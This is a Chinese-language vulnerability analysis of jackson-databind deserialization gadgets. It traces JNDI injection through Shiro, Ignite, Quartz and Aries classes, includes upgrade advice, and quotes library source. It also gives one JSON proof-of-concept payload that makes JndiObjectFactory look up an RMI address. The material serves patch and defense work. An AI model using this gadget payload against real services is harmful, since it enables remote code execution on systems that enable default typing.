powered by UnicodeSec
不受影響的版本
jackson-databind >= 2.9.10.4
jackson-databind >= 2.10.0
如果你的業務中即存在jackson,並且開啟了enableDefaultTypeing功能,又存在相關受影響的jar包,請更新jackson最新版。或者使用activatedefaulttyping代替enableDefaultTypeing
可以查詢jackson的黑名單過濾列表,分析相關poc,在如下網址
https://github.com/FasterXML/jackson-databind/issues?q=label%3ACVE+is%3Aclosed
#2653 shiro jndi注入
org.apache.shiro.jndi.JndiObjectFactory
該處代碼如下
public class JndiObjectFactory<T> extends JndiLocator implements Factory<T> {
private String resourceName;
private Class<? extends T> requiredType;
public T getInstance() {
try {
if(requiredType != null) {
return requiredType.cast(this.lookup(resourceName, requiredType));
} else {
return (T) this.lookup(resourceName);
}
} catch (NamingException e) {
final String typeName = requiredType != null ? requiredType.getName() : "object";
throw new IllegalStateException("Unable to look up " + typeName + " with jndi name '" + resourceName + "'.", e);
}
}
}
我們可以從JndiObjectFactory中看出,getInstance會調用lookup去查找rmi。如果存在requiredType,則轉換為相關class,如果不存在就不會強轉。JndiObjectFactory繼承自JndiLocator,所以我們去JndiLocator的lookup函數繼續分析,JndiLocator的lookup代碼如下
protected Object lookup(String jndiName, Class requiredType) throws NamingException {
String convertedName = convertJndiName(jndiName);
Object jndiObject;
try {
jndiObject = getJndiTemplate().lookup(convertedName, requiredType);
}
//... 省略不相關代碼
return jndiObject;
}
可以很清楚的看到,首先將jndiName轉換,然后繼續調用getJndiTemplate().lookup函數,getJndiTemplate().lookup的代碼如下
public Object lookup(String name, Class requiredType) throws NamingException {
Object jndiObject = lookup(name);
if (requiredType != null && !requiredType.isInstance(jndiObject)) {
String msg = "Jndi object acquired under name '" + name + "' is of type [" +
jndiObject.getClass().getName() + "] and not assignable to the required type [" +
requiredType.getName() + "].";
throw new NamingException(msg);
}
return jndiObject;
}
首先調用lookup,然后根據用戶傳入的參數,將rmi遠程獲取的類強制轉換為用戶提供的requiredType類,假如requiredType為null,則不去強制轉換。
lookup函數如下
public Object lookup(final String name) throws NamingException {
log.debug("Looking up JNDI object with name '{}'", name);
return execute(new JndiCallback() {
public Object doInContext(Context ctx) throws NamingException {
Object located = ctx.lookup(name);
if (located == null) {
throw new NameNotFoundException(
"JNDI object with [" + name + "] not found: JNDI implementation returned null");
}
return located;
}
});
}
該處存在典型的jndi注入。用戶可以控制lookup的name參數,可以訪問惡意rmi服務器去獲取帶有惡意信息的類。
poc
["org.apache.shiro.jndi.JndiObjectFactory",{"resourceName":"rmi://127.0.0.1:1099/aa"}]
org.apache.shiro.realm.jndi.JndiRealmFactory
首先查看org.apache.shiro.realm.jndi.JndiRealmFactory
的代碼
public Collection<Realm> getRealms() throws IllegalStateException {
// ... 省略
for (String name : jndiNames) {
try {
Realm realm = (Realm) lookup(name, Realm.class);
realms.add(realm);
} catch (Exception e) {
throw new IllegalStateException("Unable to look up realm with jndi name '" + name + "'.", e);
}
}
return realms.isEmpty() ? null : realms;
}
可以很明顯看出,在getRealms函數中,會調用lookup去作為rmi的參數。而lookup函數,其實就是上一個gadget的lookup函數。poc與上一個類似。
#2658
該樓棟編號有三個gadget
- org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup
- org.apache.ignite.cache.jta.jndi.CacheJndiTmFactory
- org.quartz.utils.JNDIConnectionProvider
org.quartz.utils.JNDIConnectionProvider
在getConnection中存在rmi的lookup函數調用,並且該參數可以通過jackson在反序列化的時候設置
Context ctx = null;
try {
Object ds = this.datasource;
if (ds == null || isAlwaysLookup()) {
ctx = (props != null) ? new InitialContext(props): new InitialContext();
ds = ctx.lookup(url);
if (!isAlwaysLookup()) {
this.datasource = ds;
}
}
其他兩個與該處gadget類似,故不再描述
#2659
該漏洞存在與org.apache.aries.transaction.jms.internal.XaPooledConnectionFactory 查看代碼中是否存在rmi的lookup引用
public TransactionManager getTransactionManager() {
if (transactionManager == null && tmFromJndi) {
try {
transactionManager = (TransactionManager) new InitialContext().lookup(getTmJndiName());
} catch (Throwable ignored) {
if (LOG.isTraceEnabled()) {
LOG.trace("exception on tmFromJndi: " + getTmJndiName(), ignored);
}
}
}
return transactionManager;
}
在getTransactionManager函數中調用rmi的lookup函數。可以通過jackson去注入惡意參數